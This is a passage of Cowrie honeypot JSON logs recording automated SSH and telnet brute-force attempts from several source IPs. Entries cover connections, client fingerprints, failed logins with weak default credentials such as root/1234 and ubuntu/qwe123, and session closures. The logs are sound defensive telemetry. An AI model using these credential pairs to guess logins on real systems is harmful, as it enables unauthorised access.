sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:36.523670Z","src_ip":"176.65.132.129","session":"d6bb5140bf21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:36.861723Z","src_ip":"176.65.132.129","session":"d6bb5140bf21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:37.945369Z","src_ip":"176.65.132.129","session":"d6bb5140bf21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.536137342453003,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:38.774310Z","src_ip":"45.81.23.16","session":"a8e6b7892820","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53574,"dst_ip":"10.17.0.5","dst_port":22,"session":"29d47ff46e3f","protocol":"ssh","message":"New connection: 176.65.132.129:53574 (10.17.0.5:22) [session: 29d47ff46e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:39.929870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:39.935150Z","src_ip":"176.65.132.129","session":"29d47ff46e3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:40.017670Z","src_ip":"176.65.132.129","session":"29d47ff46e3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:40.262851Z","src_ip":"176.65.132.129","session":"29d47ff46e3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:41.499733Z","src_ip":"176.65.132.129","session":"29d47ff46e3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.166015148162842,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:43.256056Z","src_ip":"182.96.161.67","session":"941e617220c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53580,"dst_ip":"10.17.0.5","dst_port":22,"session":"7077f0fd2585","protocol":"ssh","message":"New connection: 176.65.132.129:53580 (10.17.0.5:22) [session: 7077f0fd2585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:43.304738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:43.308976Z","src_ip":"176.65.132.129","session":"7077f0fd2585","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:43.391832Z","src_ip":"176.65.132.129","session":"7077f0fd2585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:43.649306Z","src_ip":"176.65.132.129","session":"7077f0fd2585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:44.735797Z","src_ip":"176.65.132.129","session":"7077f0fd2585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.15490102767944,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:46.235514Z","src_ip":"45.81.23.16","session":"31940503b080","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45048,"dst_ip":"10.17.0.5","dst_port":22,"session":"e45e1b485615","protocol":"ssh","message":"New connection: 176.65.132.129:45048 (10.17.0.5:22) [session: e45e1b485615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:46.878616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:46.882903Z","src_ip":"176.65.132.129","session":"e45e1b485615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:46.964405Z","src_ip":"176.65.132.129","session":"e45e1b485615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:47.210786Z","src_ip":"176.65.132.129","session":"e45e1b485615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:48.294541Z","src_ip":"176.65.132.129","session":"e45e1b485615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45064,"dst_ip":"10.17.0.5","dst_port":22,"session":"26e4eb2790b4","protocol":"ssh","message":"New connection: 176.65.132.129:45064 (10.17.0.5:22) [session: 26e4eb2790b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:50.251503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:50.255774Z","src_ip":"176.65.132.129","session":"26e4eb2790b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:50.340798Z","src_ip":"176.65.132.129","session":"26e4eb2790b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:50.583478Z","src_ip":"176.65.132.129","session":"26e4eb2790b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44846,"dst_ip":"10.17.0.5","dst_port":23,"session":"49843900d600","protocol":"telnet","message":"New connection: 38.54.119.93:44846 (10.17.0.5:23) [session: 49843900d600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:51.173039Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:51.673380Z","src_ip":"176.65.132.129","session":"26e4eb2790b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.59839129447937,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:53.481585Z","src_ip":"45.81.23.16","session":"e6eda6a2dfe5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45074,"dst_ip":"10.17.0.5","dst_port":22,"session":"4306830aa990","protocol":"ssh","message":"New connection: 176.65.132.129:45074 (10.17.0.5:22) [session: 4306830aa990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:53.758189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:53.762740Z","src_ip":"176.65.132.129","session":"4306830aa990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:53.844575Z","src_ip":"176.65.132.129","session":"4306830aa990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:54.319495Z","src_ip":"176.65.132.129","session":"4306830aa990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.73.9","src_port":59134,"dst_ip":"10.17.0.5","dst_port":22,"session":"2177135d66b2","protocol":"ssh","message":"New connection: 167.172.73.9:59134 (10.17.0.5:22) [session: 2177135d66b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:54.536087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:54.543890Z","src_ip":"167.172.73.9","session":"2177135d66b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:54.791243Z","src_ip":"167.172.73.9","session":"2177135d66b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:55.403540Z","src_ip":"176.65.132.129","session":"4306830aa990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asd12345678","message":"login attempt [ubuntu/asd12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:55.802932Z","src_ip":"167.172.73.9","session":"2177135d66b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:57.052775Z","src_ip":"167.172.73.9","session":"2177135d66b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48114,"dst_ip":"10.17.0.5","dst_port":22,"session":"c89da1237c72","protocol":"ssh","message":"New connection: 176.65.132.129:48114 (10.17.0.5:22) [session: c89da1237c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:57.305397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:57.309618Z","src_ip":"176.65.132.129","session":"c89da1237c72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:57.391677Z","src_ip":"176.65.132.129","session":"c89da1237c72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:57.638127Z","src_ip":"176.65.132.129","session":"c89da1237c72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36496,"dst_ip":"159.203.135.109","dst_port":23,"session":"88f309f4b533","protocol":"telnet","message":"New connection: 38.60.198.128:36496 (159.203.135.109:23) [session: 88f309f4b533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:58.528601Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:58.878368Z","src_ip":"176.65.132.129","session":"c89da1237c72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48118,"dst_ip":"10.17.0.5","dst_port":22,"session":"db2a564bd0f5","protocol":"ssh","message":"New connection: 176.65.132.129:48118 (10.17.0.5:22) [session: db2a564bd0f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:00.706615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:00.711445Z","src_ip":"176.65.132.129","session":"db2a564bd0f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-